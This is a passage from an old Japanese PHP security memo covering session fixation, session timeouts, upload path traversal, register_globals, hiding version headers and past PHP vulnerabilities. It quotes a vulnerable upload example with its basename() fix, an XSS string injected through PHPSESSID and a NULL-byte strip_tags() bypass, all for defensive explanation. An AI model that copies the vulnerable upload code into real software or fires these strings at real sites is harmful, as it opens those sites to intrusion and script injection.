  2. セッションの有効期間(session.gc_maxlifetime)を短くし、ガーベージ・コレクションが起動する確率を上げる(session.gc_probabilitysession.gc_divisor の値を調整する)

2. はガーベージ・コレクションを頻繁に起動することになるため、サーバ負荷が高くなるという問題と、ユーザ側でセッション切れが起こりやすくなるという問題があります。セッション切れをできる限り回避するには、セッション・タイムアウトへの対処を参考にしてください。

1. の古いセッション情報を削除するには session.save_handler"files" である場合、以下のようにします。

session_start();
$session_id = session_id();
session_regenerate_id();
if ( preg_match( '/^[0-9a-f]{32}$/', $session_id ) ) {
    $session_file = session_save_path() . '/sess_' . $session_id;
    if ( is_file( $session_file ) ) {
        unlink( $session_file );
    }
}

章の最初へ | 目次へ

f. セッション・タイムアウトへの対処

session.maxlifetime で設定した秒数以上の時間、ユーザからのアクセスがない上で、ガーベージ・コレクションによってセッション情報が削除されてしまった場合、セッション・タイムアウトとなります。特に、ユーザがシステムにログインした状態で多くのデータを入力する必要があった場合、セッション・タイムアウトが起こる可能性が高くなります。この対処として、session.maxlifetime の秒数を増やすという方法は、セッション ID の漏洩があった場合、悪用される危険性が高くなりますので、良い方法ではありません。

ユーザがあるページをブラウザを開いている間は、できる限りセッションを継続させる方法として、「ハートビート」という方法があります。詳しくは、IPA セキュアプログラミング大全の第 5章 セキュアVBScript/ASPプログラミング [5-3.] セッションタイムアウトを参照してください。

PHP では、以下のようなセッション継続用のファイルを用意します。このファイルを frame や iframe で見えない場所に置き、一定時間ごとにアクセスすることでセッション・タイムアウトを防ぎます。例えば、session.maxlifetime はデフォルトで 1440 秒になっていますので、1440 秒以下の間隔でアクセスを行えばセッション・タイムアウトを防ぐことができます。1200 秒ごとにサーバにアクセスするには以下のようにします。

<?php
session_start();
?>
<html>
<head>
<meta HTTP-EQUIV="Refresh" CONTENT="1200">
</head>
<body>
</body>
</html>

これによって、session.maxlifetime を短くしても、セッション・タイムアウトが起こる可能性を低くすることが可能になります。また、session.maxlifetime を短くすることは、あるユーザのセッション ID が漏洩したとしても、ユーザが被害を受ける可能性が低くなります。

あまり短い時間でサーバにアクセスを行うとサーバ側の負荷が高くなりますので、Refresh の秒数と session.maxlifetime の値をどの程度にするかは調整が必要です。

章の最初へ | 目次へ

g. セッション関連の処理で注意すべきクロスサイトスクリプティング問題

セッションを使用するときには、以下の点に気を付けないと、クロスサイトスクリプティング問題を引き起こす可能性がありますので、注意してください。

章の最初へ | 目次へ

h. Session Fixation(セッション固定)

正当なユーザが使用するセッション ID を攻撃者が指定することにより、攻撃者にセッション ID を知られてしまうという問題です。正当なユーザが攻撃者が指定したセッション ID のまま、Web アプリケーションにログインした場合、攻撃者もログインした状態になり、個人情報を盗み見られたり、データを書き換えられるなど、場合によっては危険な操作をされる可能性があります。

この問題を簡単に解決する方法としては、session_regenerate_id() を使用する方法があります。例えば、以下のように、session_start() を実行した後、セッション変数が設定されていない場合、session_regenerate_id() を実行します。

Session Fixation(PHP Security Guide: Sessions) より引用。

session_start();
if ( ! isset( $_SESSION['initiated'] ) ) {
    session_regenerate_id();
    $_SESSION['initiated'] = true;
}

session_regenerate_id() は PHP 4.3.2 以降で使用できますが、それ以前のバージョンでも動作する代替関数が、PHP マニュアル: session_regenerate_id : User Contributed Notes で提案されています。

i. Session Fixation を起こす方法

上の対処方法を使用すれば PHP では Session Fixation は回避できますが、Session Fixation が起きる条件について考えてみました。推測で書いている部分がありますので、間違いがあるかもしれません。参考程度ということにしてください。

ii. 参考サイト

章の最初へ | 目次へ

i. 参考サイト

章の最初へ | 目次へ

▲ 目次へ


ファイルアップロードについて

  1. PHP でのファイルアップロード処理
  2. PHP 4.3.8 以前に任意の場所にファイルをアップロードされる可能性がある問題
  3. PHP 4.1.1 以前のバージョンにファイルアップロード処理にセキュリティホールがある問題

a. PHP でのファイルアップロード処理

PHP では、簡単にアップロードされたファイルを扱うための機能が提供されています。ファイルアップロード処理を行う際には、PHP マニュアル: 第 20章ファイルアップロードの処理は必ず読むようにしてください。

基本的なファイルアップロード処理としては $_FILES の配列を使用して is_uploaded_file() でアップロードされた一時ファイルが正しいかどうかを確認し、move_uploaded_file() で任意のディレクトリに移動させることでファイルアップロードを行います。

ただし、PHP 4.3.8 以前では PHP マニュアルの例のまま処理を行っていた場合、任意の場所にファイルをアップロードされる可能性のある問題が報告されています。

章の最初へ | 目次へ

b. PHP 4.3.8 以前に任意の場所にファイルをアップロードされる可能性がある問題

ファイルアップロード時のセキュリティホールとして、以下の2つの問題が報告されています。詳細については、以下のページでまとめていますので、そちらを参照してください。

PHP 4.3.6 以前では、$_FILES['form_name']['name'] に、.. を含めることが可能であり、PHP 4.3.7 で .. が含まれていた場合は削除されるように修正されたのですが、別の問題により、PHP 4.3.6 以前と同じように、$_FILES['form_name']['name'].. を含めることが可能になってしまうという問題です。

この問題は、$_FILES['form_name']['name'].. が含まれた場合、PHP マニュアルに書かれていたサンプル通りに処理が行われていた場合、httpd に書き込み権限がある任意のディレクトリにファイルをアップロードされてしまう可能性があります。

既に英語版の PHP マニュアルでは修正されていますが、例 20 で以下の例が示されていました。この例の通りにファイルのアップロード処理を行っていた場合、問題になります。日本語の PHP マニュアルではまだ修正されていません(2004.10.24 時点)。※現在は修正されています。

例 20-2. ファイルのアップロードを検証する

...

$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir. $_FILES['userfile']['name'];

print "<pre>";
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
   print "File is valid, and was successfully uploaded. ";
   print "Here's some more debugging info:\n";
   print_r($_FILES);
} else {
   print "ファイルアップロード攻撃をされた可能性があります。デバッグ関連情報:\n";
   print_r($_FILES);
}

?>

この例で、$_FILES['userfile']['name'] に、../../../filename という形で、.. が含まれた変数が入力された場合、そのディレクトリに書き込む権限があれば、ファイルアップロードが成功してしまいます。

この問題に対する対策として、basename() を使用する方法が挙げられており、PHP マニュアルの英語版では、既に以下のように修正されています。

$uploadfile = $uploaddir. basename($_FILES['userfile']['name']);

basename() を使用する以外にも、$_FILES['form_name']['name'] をそのまま使用せず、正規表現で期待通りの文字列で構成されているかどうかをチェックするようにしても問題ありません。

章の最初へ | 目次へ

c. PHP 4.1.1 以前のバージョンにファイルアップロード処理にセキュリティホールがある問題

PHP 4.1.1 以前には、以下のように、ファイルアップロード処理に非常に危険なセキュリティホールが存在します。

この問題は PHP スクリプト側では対処できません。問題が修正されていないバージョンは使用しないでください。

章の最初へ | 目次へ

▲ 目次へ


register_globals に関する問題

  1. register_globals について
  2. register_globals が On の環境でも Off と同様の状態にする方法

a. register_globals について

register_globalsOn になっている場合、ブラウザからの GET、POST、Cookie などの変数を自動的にグローバル変数に登録します。しかし、register_globals はグローバル変数汚染の問題から Off にすることが推奨され、PHP 4.2.0 以降ではデフォルトで Off になっています。

register_globals の弊害については、第 28章グローバル変数の登録機能の使用法(PHP マニュアル)を参照してください。

章の最初へ | 目次へ

b. register_globals が On の環境でも Off と同様の状態にする方法

(IN)SECURE Digital Security Magazine という PDF の雑誌の Security vulnerabilities in PHP Web applications という章に register_globals について、興味深い記事があったのでメモしておきます。

register_globalsOn の環境で、変更できない場合でも register_globals によるグローバル変数の汚染を PHP スクリプト側で防ぐ方法です。雑誌に載っていたスクリプトは間違っていましたので、少し書き換えました。PHP スクリプトの最初で実行すると、グローバル変数の汚染を防ぐことができます。

if ( ini_get( 'register_globals' ) ) {
     foreach( array_keys( $_REQUEST ) as $key ) {
         unset( $GLOBALS[$key] );
     }
}

PHP の古いスクリプトでは register_globalsOn であることが前提となっているものもあり、互換性への配慮から php.ini や .htaccess などで register_globalsOn になっていることがあります。設定を変更して Off にできれば良いのですが、設定ファイルを変更するような権限がない、または事情により、変更できない場合、上記のスクリプトで register_globalsOff になっているのと同様の状態にすることができます。

章の最初へ | 目次へ

▲ 目次へ


PHP を使用していることを隠蔽する

  1. PHP を隠蔽する必要性
  2. PHP の設定
  3. Apache の設定
  4. 参考サイト

a. PHP を隠蔽する必要性

PHP を使用していることやバージョンを隠したとしても、セキュリティ対策になるとは言えませんが、Web サーバのバージョンや含まれているモジュールを見て攻撃を行うようなワームが出現したこともありますので、不必要な情報を提供する必要は無いと思います。

Web サーバとして Apache を使用している場合の設定と、PHP を使用していることを隠蔽する設定方法を挙げておきます。

章の最初へ | 目次へ

b. PHP の設定

PHP は通常、HTTP のレスポンスヘッダに以下のような行を出力します。

X-Powered-By: PHP/4.3.9

これを隠すには、php.ini で以下の設定を行います。

expose_php = Off

また、運用で使用しているサーバで、PHP のエラーを表示すると、PHP を使用していることが分かってしまったり、ディレクトリ構成や SQL で使用しているデータベース名やテーブル名など、不要な情報が漏れることがありますので、以下のように設定しておくと良いと思います。

display_errors = Off

運用で使用しているサーバでは、ログを見て、エラーが発生していないかを確認してください。

PHP マニュアル : PHPの隠蔽のページには、PHP を動作させる拡張子を変更する方法が挙げられています。ここまでする必要があるかどうかは分かりませんが、必要な場合は設定してください。

章の最初へ | 目次へ

c. Apache の設定

Apache に PHP を組み込んだ場合、HTTP のレスポンスヘッダに PHP が組み込まれていることが示されます。

Server: Apache/1.3.31 (Unix) PHP/4.3.9

これを隠すには、httpd.conf に以下の設定を追加します。詳しくは、Apache Core Features : ServerTokens ディレクティブ を参照してください。

ServerTokens Prod

以下のようになりますので、PHP が組み込まれていることが分からなくなります。

Server: Apache

また、http.conf の ErrorDocument で何も設定していない場合、Apache のエラーページでバージョン情報が表示されますので、以下の設定も行っておくと良いと思います。

ServerSignature Off

章の最初へ | 目次へ

d. 参考サイト

章の最初へ | 目次へ

▲ 目次へ


PHP で報告されているバグ、セキュリティ問題

  1. 参考サイト
  2. Cross-site Scripting in PHP's Transparent Session ID Support
  3. PHP memory_limit remote vulnerability
  4. PHP strip_tags() bypass vulnerability
  5. PHP 4.3.2 の sprintf() や printf() にバグ
  6. PHP 4.3.0 から PHP 4.3.2 のセーフモードにバグ
  7. PHP 4.3.0 の CGI 版にバグ

a. 参考サイト

以下のページで、セキュリティ情報がまとめられています。

章の最初へ | 目次へ

b. Cross-site Scripting in PHP's Transparent Session ID Support

PHP 4.3.1 以下のバーションで、session.use_trans_sid を有効にしている場合、以下のようにセッション ID にタグを含めるとクロスサイトスクリプティングが可能になってしまう問題が報告されています。

この問題は、PHP 4.3.2 で修正されました。

http://www.example.com/index.php?PHPSESSID="><script>alert()</script>

章の最初へ | 目次へ

c. PHP memory_limit remote vulnerability

PHP 4.3.7 以前のバージョンで、PHP のコンパイルオプションに --enable-memory-limit を指定していた場合にリモートからの攻撃が可能という問題です。もし、--enable-memory-limit を指定して PHP をコンパイルしている場合は、PHP 4.3.8 以降にバージョンアップすることが推奨されています。

--enable-memory-limit を外して PHP をコンパイルすることでこの問題は回避できますが、使用メモリの上限が無い状態になりますので、メモリ使用量が多い PHP スクリプトが多い場合は、メモリ不足になる可能性もありますので注意してください。

章の最初へ | 目次へ

d. PHP strip_tags() bypass vulnerability

PHP 4.3.7 以前の strip_tags() で第2引数に、許可するタグを指定した場合、\0 (NULL バイト)を含めることで、タグの除去を回避できてしまうという問題です。

例えば、以下のように実行された場合、タグは除去されずに、\0 が付いたまま出力されてしまいます。

echo strip_tags( "<\0script>alert()</\0script>", "<s>" );

strip_tags() の第 2 引数を省略して、許可タグを指定しない場合は、問題にならないようです。

最新版の Mozilla や Opera などでは、<\0script> のようなタグは script タグとはみなされずに無視されますが、Internet Explorer などのブラウザでは、script タグとして処理され、Javascript などが実行されてしまう可能性があります。

strip_tags() は、PHP 4.3.2 からバイナリセーフに変更されています。PHP 4.3.1 以前のバージョンで、\0 が含まれた文字列が第1引数に入力された場合、そこで文字列終端としてみなされ、strip_tags() の処理が \0 の前の部分で終わってしまうという問題があります。

この問題は直接の危険性があるわけではありませんが、予想外の結果になることがありますので、気をつけておいた方が良いと思います。この問題を回避するためには、ユーザからの入力チェック時に、\0 を取り除く処理を行えば大丈夫です。

章の最初へ | 目次へ

e. PHP 4.3.2 の sprintf() や printf() にバグ

PHP 4.3.2 の sprintf()printf() 関数には、引数に負の値が入ると、NULL バイトが後ろに追加されてしまうバグがあります。

章の最初へ | 目次へ

f. PHP 4.3.0 から PHP 4.3.2 のセーフモードにバグ

PHP 4.3.0 から PHP 4.3.2 のセーフモードにバグがあり、セーフモードの設定が回避されてしまうというバグがありました。セーフモードを使用する場合、PHP 4.3.0 から PHP 4.3.2 は使用しないでください。

この問題は PHP 4.3.3 以降で修正されています。PHP 4.2.x 以前のバージョンでは影響はありません。

章の最初へ | 目次へ

g. PHP 4.3.0 の CGI 版にバグ

PHP 4.3.0 の CGI 版には、Web サーバが読み込み可能な全てのファイルへのアクセスが可能になってしまうというバグがあります。

章の最初へ | 目次へ

▲ 目次へ


参考サイト

▲ 目次へ


更新履歴

2005-07-17

2005-07-10

  • 参考リンクの追加

2005-06-05

  • 参考リンクの追加

  • 誤字、脱字の修正など

2005-05-05

2004-10-24

2004-10-17

2004-10-11

  • 初版作成。公開。

▲ 目次へ戻る

LastUpdate: 2005-07-17 | メモ一覧 | HOME